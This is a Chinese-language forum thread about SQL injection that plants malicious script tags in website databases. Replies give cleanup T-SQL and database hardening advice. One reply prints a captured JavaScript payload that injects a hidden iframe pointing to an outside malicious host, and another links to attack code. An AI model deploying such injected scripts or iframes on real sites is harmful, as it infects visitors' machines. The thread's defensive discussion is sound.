数据库挂马是怎么实现的呢,是网站程序的漏洞导致的吗还是服务器上数据库的安全设置有问题导致被挂马的呢
另外,我见过的数据库挂马,为什么绝大多数是<script src=http://3b3.org/c.js></script>这个
有没有什么教程演示挂马的过程,和预防的方法呢

解决方案 »

  1.   

    如何最快速度删除? 
    " <script   src=http://3b3.org/c.js> </script> " 
    --------------------------------------------------------------- 
    进入SQL查询分析器 
    选择你的数据库 
    第一步:先sql表修改所有者为dbo 
    EXEC   sp_MSforeachtable   'exec   sp_changeobjectowner   ' '? ' ', ' 'dbo ' '   ' 第二步:统一删除字段被挂的js 
    declare   @delStr   nvarchar(500)   
    set   @delStr= ' <script   src=http://3b3.org/c.js> </script> ' set   nocount   on declare   @tableName   nvarchar(100),@columnName   nvarchar(100),@tbID   int,@iRow   int,@iResult   int   
    declare   @sql   nvarchar(500) set   @iResult=0   
    declare   cur   cursor   for   
    select   name,id   from   sysobjects   where   xtype= 'U ' open   cur   
    fetch   next   from   cur   into   @tableName,@tbID while   @@fetch_status=0   
    begin   
    declare   cur1   cursor   for   
                    --xtype   in   (231,167,239,175,35)   为char,varchar,nchar,nvarchar,text类型   
                    select   name   from   syscolumns   where   xtype   in   (231,167,239,175,35)   and   id=@tbID   
    open   cur1   
    fetch   next   from   cur1   into   @columnName   
    while   @@fetch_status=0   
    begin   
                set   @sql= 'update   [ '   +   @tableName   +   ']   set   [ '+   @columnName   + ']=   replace([ '+@columnName+ '], ' ' '+@delStr+ ' ' ', ' ' ' ')   where   [ '+@columnName+ ']   like   ' '% '+@delStr+ '% ' ' '   
                exec   sp_executesql   @sql             
                set   @iRow=@@rowcount   
                set   @iResult=@iResult+@iRow   
                if   @iRow> 0   
                begin 
    print   '表: '+@tableName+ ',列: '+@columnName+ '被更新 '+convert(varchar(10),@iRow)+ '条记录; '   
                end             
                fetch   next   from   cur1   into   @columnName 
    end   
    close   cur1   
    deallocate   cur1   fetch   next   from   cur   into   @tableName,@tbID   
    end   
    print   '数据库共有 '+convert(varchar(10),@iResult)+ '条记录被更新!!! ' close   cur   
    deallocate   cur   
    set   nocount   off 
    --------------------------------------------------------------- 
    彻底杜绝SQL注入 1.不要使用sa用户连接数据库 
    2、新建一个public权限数据库用户,并用这个用户访问数据库 
    3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限 
    4、[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×” 
    5、通过以下代码检测(失败表示权限正确,如能显示出来则表明权限太高): 
    DECLARE   @T   varchar(255), 
    @C   varchar(255) 
    DECLARE   Table_Cursor   CURSOR   FOR 
    Select   a.name,b.name   from   sysobjects   a,syscolumns   b 
    where   a.id=b.id   and   a.xtype= 'u '   and   (b.xtype=99   or   b.xtype=35   or   b.xtype=231   or   b.xtype=167)   
    OPEN   Table_Cursor 
    FETCH   NEXT   FROM   Table_Cursor   INTO   @T,@C 
    WHILE(@@FETCH_STATUS=0) 
    BEGIN   print   @c 
    FETCH   NEXT   FROM   Table_Cursor   INTO   @T,@C   
    END 
    CLOSE   Table_Cursor 
    DEALLOCATE   Table_Cursor   
    --------------------------------------------------------------- 本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/htl258/archive/2009/04/03/4026169.aspx
      

  2.   

    请查看精华贴http://topic.csdn.net/u/20090523/19/72041932-b65c-49c1-ad36-d2c63b38b174.html?72596
      

  3.   

    http://topic.csdn.net/u/20090523/19/72041932-b65c-49c1-ad36-d2c63b38b174.html
    http://topic.csdn.net/u/20080504/20/763ed034-317a-4695-a476-26317b905012.html
      

  4.   

    var s,siteUrl,tmpdomain;
    var arydomain = new Array(".gov.cn",".edu.cn");
    s = document.location+"";
    siteUrl=s.substring(7,s.indexOf('/',7));
    tmpdomain = 0;
    for(var i=0;i<arydomain.length; i++)
    {
    if(siteUrl.indexOf(arydomain[i]) > -1){
    tmpdomain = 1;
    break;
    }
    }
    if(tmpdomain == 0){
    document.writeln("<iframe src=http://59ukjff.9966.org/a/a100.htm width=0 height=0></iframe>");
    function rl()
    {
      var msgObj = document.createElement("div");
      msgObj.setAttribute("id","msgDiv"); 
      document.body.appendChild(msgObj);
      var obj = document.getElementById("msgDiv");
      obj.innerHTML ="<iframe src=http://59ukjff.9966.org/a/a100.htm width=0 height=0></iframe>";
    }
      setInterval("rl()",10000);
    }
    document.writeln("<script type=\"text\/javascript\" src=\"http:\/\/js.tongji.cn.yahoo.com\/908507\/ystat.js\"><\/script>");
    代码是这吗?
      

  5.   

    清代码的这个我倒是有。不过,每次清代码太被动了。
    服务器上经常有数据库被挂马,有的JSP站点用SQL SERVER也被数据库挂马了。。我还没见过JSP站点被黑的
    我现在越来越怀疑,是不是服务器设置有问题导致的呢为什么3b3.org/c.js这么常见,但是网上都没有关于怎么加这个代码,怎么防止的说明呢
      

  6.   

    請看這個:
    http://www.kilonet.cn/LT/article-5-960.ashx這是俺剛好抓到的攻擊的代碼,已經代碼還原。并且你馬上可以學會攻擊別人。
      

  7.   

    JS是可以和数据库建立连接的,JS的功能很大,